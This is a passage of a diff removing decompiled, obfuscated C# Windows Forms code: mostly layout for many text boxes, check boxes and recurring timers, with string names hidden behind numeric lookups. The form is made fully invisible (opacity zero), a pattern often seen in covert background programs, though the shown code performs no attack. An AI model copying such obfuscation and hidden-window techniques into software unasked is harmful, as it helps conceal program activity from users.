point18 = point1; - textBox33.Location = point18; - this.\u0018().Name = \u0001.\u0003(-1567518102); - this.\u0018().ReadOnly = true; - TextBox textBox34 = this.\u0018(); - size1 = new Size(117, 20); - Size size18 = size1; - textBox34.Size = size18; - this.\u0018().TabIndex = 16; - this.\u0019().BackColor = SystemColors.InfoText; - this.\u0019().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox35 = this.\u0019(); - point1 = new Point(211, 186); - Point point19 = point1; - textBox35.Location = point19; - this.\u0019().Name = \u0001.\u0003(-1567518086); - this.\u0019().ReadOnly = true; - TextBox textBox36 = this.\u0019(); - size1 = new Size(88, 20); - Size size19 = size1; - textBox36.Size = size19; - this.\u0019().TabIndex = 17; - this.\u001A().BackColor = SystemColors.InfoText; - this.\u001A().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox37 = this.\u001A(); - point1 = new Point(12, 42); - Point point20 = point1; - textBox37.Location = point20; - this.\u001A().Name = \u0001.\u0003(-1567518198); - this.\u001A().ReadOnly = true; - TextBox textBox38 = this.\u001A(); - size1 = new Size(98, 20); - Size size20 = size1; - textBox38.Size = size20; - this.\u001A().TabIndex = 18; - this.\u001B().BackColor = SystemColors.InfoText; - this.\u001B().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox39 = this.\u001B(); - point1 = new Point(13, (int) sbyte.MaxValue); - Point point21 = point1; - textBox39.Location = point21; - this.\u001B().Name = \u0001.\u0003(-1567518182); - this.\u001B().ReadOnly = true; - TextBox textBox40 = this.\u001B(); - size1 = new Size(87, 20); - Size size21 = size1; - textBox40.Size = size21; - this.\u001B().TabIndex = 19; - this.\u001C().BackColor = SystemColors.InfoText; - this.\u001C().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox41 = this.\u001C(); - point1 = new Point(155, 134); - Point point22 = point1; - textBox41.Location = point22; - this.\u001C().Name = \u0001.\u0003(-1567518166); - this.\u001C().ReadOnly = true; - TextBox textBox42 = this.\u001C(); - size1 = new Size(97, 20); - Size size22 = size1; - textBox42.Size = size22; - this.\u001C().TabIndex = 20; - this.\u001D().BackColor = SystemColors.InfoText; - this.\u001D().ForeColor = SystemColors.ButtonHighlight; - TextBox textBox43 = this.\u001D(); - point1 = new Point(56, 196); - Point point23 = point1; - textBox43.Location = point23; - this.\u001D().Name = \u0001.\u0003(-1567518150); - this.\u001D().ReadOnly = true; - TextBox textBox44 = this.\u001D(); - size1 = new Size(90, 20); - Size size23 = size1; - textBox44.Size = size23; - this.\u001D().TabIndex = 21; - this.\u0005().Interval = 35000; - this.\u0006().Interval = 900000; - TextBox textBox45 = this.\u001E(); - point1 = new Point(371, 243); - Point point24 = point1; - textBox45.Location = point24; - this.\u001E().Name = \u0001.\u0003(-1567518262); - TextBox textBox46 = this.\u001E(); - size1 = new Size(100, 20); - Size size24 = size1; - textBox46.Size = size24; - this.\u001E().TabIndex = 50; - TextBox textBox47 = this.\u001F(); - point1 = new Point(379, 278); - Point point25 = point1; - textBox47.Location = point25; - this.\u001F().Name = \u0001.\u0003(-1567518246); - TextBox textBox48 = this.\u001F(); - size1 = new Size(100, 20); - Size size25 = size1; - textBox48.Size = size25; - this.\u001F().TabIndex = 51; - TextBox textBox49 = this.\u007F(); - point1 = new Point(273, 278); - Point point26 = point1; - textBox49.Location = point26; - this.\u007F().Name = \u0001.\u0003(-1567518230); - TextBox textBox50 = this.\u007F(); - size1 = new Size(100, 20); - Size size26 = size1; - textBox50.Size = size26; - this.\u007F().TabIndex = 52; - TextBox textBox51 = this.\u0080(); - point1 = new Point(138, 210); - Point point27 = point1; - textBox51.Location = point27; - this.\u0080().Name = \u0001.\u0003(-1567518214); - TextBox textBox52 = this.\u0080(); - size1 = new Size(100, 20); - Size size27 = size1; - textBox52.Size = size27; - this.\u0080().TabIndex = 53; - TextBox textBox53 = this.\u0081(); - point1 = new Point(12, 222); - Point point28 = point1; - textBox53.Location = point28; - this.\u0081().Name = \u0001.\u0003(-1567518326); - TextBox textBox54 = this.\u0081(); - size1 = new Size(100, 20); - Size size28 = size1; - textBox54.Size = size28; - this.\u0081().TabIndex = 54; - TextBox textBox55 = this.\u0082(); - point1 = new Point(148, 278); - Point point29 = point1; - textBox55.Location = point29; - this.\u0082().Name = \u0001.\u0003(-1567518310); - TextBox textBox56 = this.\u0082(); - size1 = new Size(100, 20); - Size size29 = size1; - textBox56.Size = size29; - this.\u0082().TabIndex = 55; - TextBox textBox57 = this.\u0083(); - point1 = new Point(12, 258); - Point point30 = point1; - textBox57.Location = point30; - this.\u0083().Name = \u0001.\u0003(-1567518294); - TextBox textBox58 = this.\u0083(); - size1 = new Size(100, 20); - Size size30 = size1; - textBox58.Size = size30; - this.\u0083().TabIndex = 56; - TextBox textBox59 = this.\u0084(); - point1 = new Point(249, 101); - Point point31 = point1; - textBox59.Location = point31; - this.\u0084().Name = \u0001.\u0003(-1567518278); - TextBox textBox60 = this.\u0084(); - size1 = new Size(100, 20); - Size size31 = size1; - textBox60.Size = size31; - this.\u0084().TabIndex = 57; - TextBox textBox61 = this.\u0086(); - point1 = new Point(132, 108); - Point point32 = point1; - textBox61.Location = point32; - this.\u0086().Name = \u0001.\u0003(-1567518390); - TextBox textBox62 = this.\u0086(); - size1 = new Size(100, 20); - Size size32 = size1; - textBox62.Size = size32; - this.\u0086().TabIndex = 58; - this.\u0003().AutoSize = true; - this.\u0003().ForeColor = SystemColors.ButtonHighlight; - CheckBox checkBox1 = this.\u0003(); - point1 = new Point(169, 243); - Point point33 = point1; - checkBox1.Location = point33; - this.\u0003().Name = \u0001.\u0003(-1567518374); - CheckBox checkBox2 = this.\u0003(); - size1 = new Size(81, 17); - Size size33 = size1; - checkBox2.Size = size33; - this.\u0003().TabIndex = 28; - this.\u0003().Text = \u0001.\u0003(-1567518374); - this.\u0003().UseVisualStyleBackColor = true; - this.\u0004().AutoSize = true; - this.\u0004().ForeColor = SystemColors.ButtonHighlight; - CheckBox checkBox3 = this.\u0004(); - point1 = new Point(290, 243); - Point point34 = point1; - checkBox3.Location = point34; - this.\u0004().Name = \u0001.\u0003(-1567518358); - CheckBox checkBox4 = this.\u0004(); - size1 = new Size(81, 17); - Size size34 = size1; - checkBox4.Size = size34; - this.\u0004().TabIndex = 49; - this.\u0004().Text = \u0001.\u0003(-1567518358); - this.\u0004().UseVisualStyleBackColor = true; - TextBox textBox63 = this.\u0087(); - point1 = new Point(244, 213); - Point point35 = point1; - textBox63.Location = point35; - this.\u0087().Name = \u0001.\u0003(-1567518342); - TextBox textBox64 = this.\u0087(); - size1 = new Size(100, 20); - Size size35 = size1; - textBox64.Size = size35; - this.\u0087().TabIndex = 59; - TextBox textBox65 = this.\u0088(); - point1 = new Point(365, 213); - Point point36 = point1; - textBox65.Location = point36; - this.\u0088().Name = \u0001.\u0003(-1567518454); - TextBox textBox66 = this.\u0088(); - size1 = new Size(100, 20); - Size size36 = size1; - textBox66.Size = size36; - this.\u0088().TabIndex = 60; - TextBox textBox67 = this.\u0089(); - point1 = new Point(169, 159); - Point point37 = point1; - textBox67.Location = point37; - this.\u0089().Name = \u0001.\u0003(-1567518438); - TextBox textBox68 = this.\u0089(); - size1 = new Size(100, 20); - Size size37 = size1; - textBox68.Size = size37; - this.\u0089().TabIndex = 61; - TextBox textBox69 = this.\u008A(); - point1 = new Point(13, 13); - Point point38 = point1; - textBox69.Location = point38; - this.\u008A().Name = \u0001.\u0003(-1567518422); - TextBox textBox70 = this.\u008A(); - size1 = new Size(76, 20); - Size size38 = size1; - textBox70.Size = size38; - this.\u008A().TabIndex = 62; - TextBox textBox71 = this.\u008B(); - point1 = new Point(95, 13); - Point point39 = point1; - textBox71.Location = point39; - this.\u008B().Name = \u0001.\u0003(-1567518406); - TextBox textBox72 = this.\u008B(); - size1 = new Size(63, 20); - Size size39 = size1; - textBox72.Size = size39; - this.\u008B().TabIndex = 63; - TextBox textBox73 = this.\u008C(); - point1 = new Point(164, 13); - Point point40 = point1; - textBox73.Location = point40; - this.\u008C().Name = \u0001.\u0003(-1567518518); - TextBox textBox74 = this.\u008C(); - size1 = new Size(74, 20); - Size size40 = size1; - textBox74.Size = size40; - this.\u008C().TabIndex = 64; - TextBox textBox75 = this.\u008D(); - point1 = new Point(245, 12); - Point point41 = point1; - textBox75.Location = point41; - this.\u008D().Name = \u0001.\u0003(-1567518502); - TextBox textBox76 = this.\u008D(); - size1 = new Size(100, 20); - Size size41 = size1; - textBox76.Size = size41; - this.\u008D().TabIndex = 65; - TextBox textBox77 = this.\u008E(); - point1 = new Point(351, 12); - Point point42 = point1; - textBox77.Location = point42; - this.\u008E().Name = \u0001.\u0003(-1567518486); - TextBox textBox78 = this.\u008E(); - size1 = new Size(100, 20); - Size size42 = size1; - textBox78.Size = size42; - this.\u008E().TabIndex = 66; - this.\u0007().Interval = 700000; - TextBox textBox79 = this.\u008F(); - point1 = new Point(148, 185); - Point point43 = point1; - textBox79.Location = point43; - this.\u008F().Name = \u0001.\u0003(-1567518470); - TextBox textBox80 = this.\u008F(); - size1 = new Size(100, 20); - Size size43 = size1; - textBox80.Size = size43; - this.\u008F().TabIndex = 67; - TextBox textBox81 = this.\u0090(); - point1 = new Point(198, 128); - Point point44 = point1; - textBox81.Location = point44; - this.\u0090().Name = \u0001.\u0003(-1567518582); - TextBox textBox82 = this.\u0090(); - size1 = new Size(100, 20); - Size size44 = size1; - textBox82.Size = size44; - this.\u0090().TabIndex = 68; - TextBox textBox83 = this.\u0091(); - point1 = new Point(238, 68); - Point point45 = point1; - textBox83.Location = point45; - this.\u0091().Name = \u0001.\u0003(-1567518566); - TextBox textBox84 = this.\u0091(); - size1 = new Size(100, 20); - Size size45 = size1; - textBox84.Size = size45; - this.\u0091().TabIndex = 69; - TextBox textBox85 = this.\u0092(); - point1 = new Point(278, 159); - Point point46 = point1; - textBox85.Location = point46; - this.\u0092().Name = \u0001.\u0003(-1567518550); - TextBox textBox86 = this.\u0092(); - size1 = new Size(100, 20); - Size size46 = size1; - textBox86.Size = size46; - this.\u0092().TabIndex = 70; - TextBox textBox87 = this.\u0093(); - point1 = new Point(371, 184); - Point point47 = point1; - textBox87.Location = point47; - this.\u0093().Name = \u0001.\u0003(-1567518534); - TextBox textBox88 = this.\u0093(); - size1 = new Size(100, 20); - Size size47 = size1; - textBox88.Size = size47; - this.\u0093().TabIndex = 71; - TextBox textBox89 = this.\u0094(); - point1 = new Point(36, 133); - Point point48 = point1; - textBox89.Location = point48; - this.\u0094().Name = \u0001.\u0003(-1567518646); - TextBox textBox90 = this.\u0094(); - size1 = new Size(100, 20); - Size size48 = size1; - textBox90.Size = size48; - this.\u0094().TabIndex = 72; - TextBox textBox91 = this.\u0095(); - point1 = new Point(365, 42); - Point point49 = point1; - textBox91.Location = point49; - this.\u0095().Name = \u0001.\u0003(-1567518630); - TextBox textBox92 = this.\u0095(); - size1 = new Size(100, 20); - Size size49 = size1; - textBox92.Size = size49; - this.\u0095().TabIndex = 73; - TextBox textBox93 = this.\u0096(); - point1 = new Point(365, 68); - Point point50 = point1; - textBox93.Location = point50; - this.\u0096().Name = \u0001.\u0003(-1567518614); - TextBox textBox94 = this.\u0096(); - size1 = new Size(100, 20); - Size size50 = size1; - textBox94.Size = size50; - this.\u0096().TabIndex = 74; - TextBox textBox95 = this.\u0097(); - point1 = new Point(365, 95); - Point point51 = point1; - textBox95.Location = point51; - this.\u0097().Name = \u0001.\u0003(-1567518598); - TextBox textBox96 = this.\u0097(); - size1 = new Size(100, 20); - Size size51 = size1; - textBox96.Size = size51; - this.\u0097().TabIndex = 75; - TextBox textBox97 = this.\u0098(); - point1 = new Point(365, 122); - Point point52 = point1; - textBox97.Location = point52; - this.\u0098().Name = \u0001.\u0003(-1567518710); - TextBox textBox98 = this.\u0098(); - size1 = new Size(100, 20); - Size size52 = size1; - textBox98.Size = size52; - this.\u0098().TabIndex = 76; - this.\u0008().Interval = 600000; - this.\u0003().AutoSize = true; - Label label1 = this.\u0003(); - point1 = new Point(305, 128); - Point point53 = point1; - label1.Location = point53; - this.\u0003().Name = \u0001.\u0003(-1567518694); - Label label2 = this.\u0003(); - size1 = new Size(39, 13); - Size size53 = size1; - label2.Size = size53; - this.\u0003().TabIndex = 77; - this.\u0003().Text = \u0001.\u0003(-1567518694); - TextBox textBox99 = this.\u0099(); - point1 = new Point(258, 187); - Point point54 = point1; - textBox99.Location = point54; - this.\u0099().Name = \u0001.\u0003(-1567518699); - TextBox textBox100 = this.\u0099(); - size1 = new Size(100, 20); - Size size54 = size1; - textBox100.Size = size54; - this.\u0099().TabIndex = 78; - this.\u0003().FormattingEnabled = true; - ListBox listBox1 = this.\u0003(); - point1 = new Point(345, 95); - Point point55 = point1; - listBox1.Location = point55; - this.\u0003().Name = \u0001.\u0003(-1567518683); - ListBox listBox2 = this.\u0003(); - size1 = new Size(120, 95); - Size size55 = size1; - listBox2.Size = size55; - this.\u0003().TabIndex = 79; - TextBox textBox101 = this.\u009A(); - point1 = new Point(28, 160); - Point point56 = point1; - textBox101.Location = point56; - this.\u009A().Name = \u0001.\u0003(-1567518666); - TextBox textBox102 = this.\u009A(); - size1 = new Size(100, 20); - Size size56 = size1; - textBox102.Size = size56; - this.\u009A().TabIndex = 80; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.ActiveCaptionText; - size1 = new Size(483, 310); - this.ClientSize = size1; - this.Controls.Add((Control) this.\u009A()); - this.Controls.Add((Control) this.\u0003()); - this.Controls.Add((Control) this.\u0099()); - this.Controls.Add((Control) this.\u0003()); - this.Controls.Add((Control) this.\u0098()); - this.Controls.Add((Control) this.\u0097()); - this.Controls.Add((Control) this.\u0096()); - this.Controls.Add((Control) this.\u0095()); - this.Controls.Add((Control) this.\u0094()); - this.Controls.Add((Control) this.\u0093()); - this.Controls.Add((Control) this.\u0092()); - this.Controls.Add((Control) this.\u0091()); - this.Controls.Add((Control) this.\u0090()); - this.Controls.Add((Control) this.\u008F()); - this.Controls.Add((Control) this.\u008E()); - this.Controls.Add((Control) this.\u008D()); - this.Controls.Add((Control) this.\u008C()); - this.Controls.Add((Control) this.\u008B()); - this.Controls.Add((Control) this.\u008A()); - this.Controls.Add((Control) this.\u0089()); - this.Controls.Add((Control) this.\u0088()); - this.Controls.Add((Control) this.\u0087()); - this.Controls.Add((Control) this.\u0086()); - this.Controls.Add((Control) this.\u0084()); - this.Controls.Add((Control) this.\u0083()); - this.Controls.Add((Control) this.\u0082()); - this.Controls.Add((Control) this.\u0081()); - this.Controls.Add((Control) this.\u0080()); - this.Controls.Add((Control) this.\u007F()); - this.Controls.Add((Control) this.\u001F()); - this.Controls.Add((Control) this.\u001E()); - this.Controls.Add((Control) this.\u0004()); - this.Controls.Add((Control) this.\u0003()); - this.Controls.Add((Control) this.\u001D()); - this.Controls.Add((Control) this.\u001C()); - this.Controls.Add((Control) this.\u001B()); - this.Controls.Add((Control) this.\u001A()); - this.Controls.Add((Control) this.\u0019()); - this.Controls.Add((Control) this.\u0018()); - this.Controls.Add((Control) this.\u0017()); - this.Controls.Add((Control) this.\u0016()); - this.Controls.Add((Control) this.\u0015()); - this.Controls.Add((Control) this.\u0014()); - this.Controls.Add((Control) this.\u0013()); - this.Controls.Add((Control) this.\u0012()); - this.Controls.Add((Control) this.\u0011()); - this.Controls.Add((Control) this.\u0010()); - this.Controls.Add((Control) this.\u000F()); - this.Controls.Add((Control) this.\u000E()); - this.Controls.Add((Control) this.\u0008()); - this.Controls.Add((Control) this.\u0007()); - this.Controls.Add((Control) this.\u0006()); - this.Controls.Add((Control) this.\u0005()); - this.Controls.Add((Control) this.\u0004()); - this.Controls.Add((Control) this.\u0003()); - this.ForeColor = SystemColors.ControlLightLight; - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = \u0001.\u0003(-1567516730); - this.Opacity = 0.0; - this.Text = \u0001.\u0003(-1567516718); - this.ResumeLayout(false); - this.PerformLayout(); - } - - [DebuggerNonUserCode] - internal virtual TextBox \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0004() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0005() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0005([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0006() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0006([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0007() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0007([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0008() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0008([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u000E() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u000E([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u000F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u000F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0010() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0010([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0011() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0011([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0012() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0012([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0013() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0013([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0014() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0014([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0015() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0015([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0016() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0016([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0017() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0017([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0018() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0018([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0019() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0019([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001A() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001A([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001B() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001B([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001C() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001C([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001D() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001D([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0004)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0004() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0005)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0005() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0005([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0006)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0006() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0006([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0007)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual TextBox \u001E() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001E([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u001F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u001F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u007F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u007F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0080() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0080([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0081() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0081([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0082() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0082([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0083() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0083([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0084() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0084([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0086() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0086([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual CheckBox \u0003() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] CheckBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual CheckBox \u0004() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0004([In] CheckBox obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0008)); - if (this.\u0001 != null) - this.\u0001.CheckedChanged -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.CheckedChanged += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual TextBox \u0087() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0087([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0088() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0088([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0089() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0089([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008A() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008A([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008B() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008B([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008C() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008C([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008D() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008D([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u008E() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008E([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual System.Windows.Forms.Timer \u0007() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0007([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u000E)); - if (this.\u0001 != null) - this.\u0001.Tick -= eventHandler; - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - this.\u0001.Tick += eventHandler; - } - - [DebuggerNonUserCode] - internal virtual TextBox \u008F() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u008F([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0090() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0090([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0091() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0091([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0092() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0092([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0093() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0093([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0094() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0094([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0095() => this.\u0001; - - [DebuggerNonUserCode] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0095([In] TextBox obj0) => this.\u0001 = obj0; - - [DebuggerNonUserCode] - internal virtual TextBox \u0096() 